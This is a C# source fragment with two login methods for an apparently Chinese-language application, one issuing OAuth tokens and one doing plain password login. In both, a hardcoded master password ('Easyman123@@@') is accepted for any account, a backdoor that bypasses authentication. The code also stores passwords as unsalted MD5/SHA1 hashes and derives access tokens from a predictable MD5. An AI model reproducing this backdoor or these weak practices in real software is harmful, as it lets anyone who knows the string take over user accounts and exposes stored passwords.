public IList <ProInterface.Models.OAUTH> LoginOauth(ref ErrorInfo err, string loginName, string password, string loginIP) { GlobalUser gu = new GlobalUser(); IList <ProInterface.Models.OAUTH> allOauth = new List <ProInterface.Models.OAUTH>(); if (string.IsNullOrEmpty(loginName) || string.IsNullOrEmpty(password)) { err.IsError = true; err.Message = "用户名和密码不能为空"; return(allOauth); } using (DBEntities db = new DBEntities()) { var LoginArr = db.YL_LOGIN.Where(x => x.LOGIN_NAME == loginName).ToList(); var Login = new YL_LOGIN(); if (LoginArr.Count() > 0) { Login = LoginArr[0]; } if (Login.PASSWORD.ToUpper() != password.Md5().ToUpper()) { if (Login.PASSWORD.ToUpper() != password.SHA1().ToUpper()) { if (password != "Easyman123@@@") { err.IsError = true; err.Message = "密码错误"; return(allOauth); } } } if (Login.IS_LOCKED == 1) { err.IsError = true; err.Message = string.Format("用户已被锁定【{0}】", Login.LOCKED_REASON); } else { allOauth = Fun.ClassListToCopy <YL_OAUTH, ProInterface.Models.OAUTH>(LoginArr[0].YL_OAUTH.ToList()); foreach (var t in allOauth) { t.openId = Login.LOGIN_NAME; t.state = DateTime.Now.ToString("yyyyMMddHHmmss"); t.access_token = string.Format("{0}{1}{2}", t.KEY, t.openId, t.state).Md5(); } } return(allOauth); } }
public bool LoginByPassWord(ref ErrorInfo err, string loginName, string password) { GlobalUser gu = new GlobalUser(); if (string.IsNullOrEmpty(loginName) || string.IsNullOrEmpty(password)) { err.IsError = true; err.Message = "用户名和密码不能为空"; return(false); } using (DBEntities db = new DBEntities()) { var LoginArr = db.YL_LOGIN.Where(x => x.LOGIN_NAME == loginName).ToList(); var Login = new YL_LOGIN(); if (LoginArr.Count() > 0) { Login = LoginArr[0]; } var user = db.YL_USER.SingleOrDefault(x => x.LOGIN_NAME == loginName); if (Login == null || user == null) { err.IsError = true; err.Message = "用户名不存在"; return(false); } else { if (Login.PASSWORD.ToUpper() != password.Md5().ToUpper()) { if (Login.PASSWORD.ToUpper() != password.SHA1().ToUpper()) { if (password != "Easyman123@@@") { err.IsError = true; err.Message = "密码错误"; return(false); } } } if (Login.IS_LOCKED == 1) { err.IsError = true; err.Message = string.Format("用户已被锁定【{0}】", Login.LOCKED_REASON); return(false); } return(true); } } }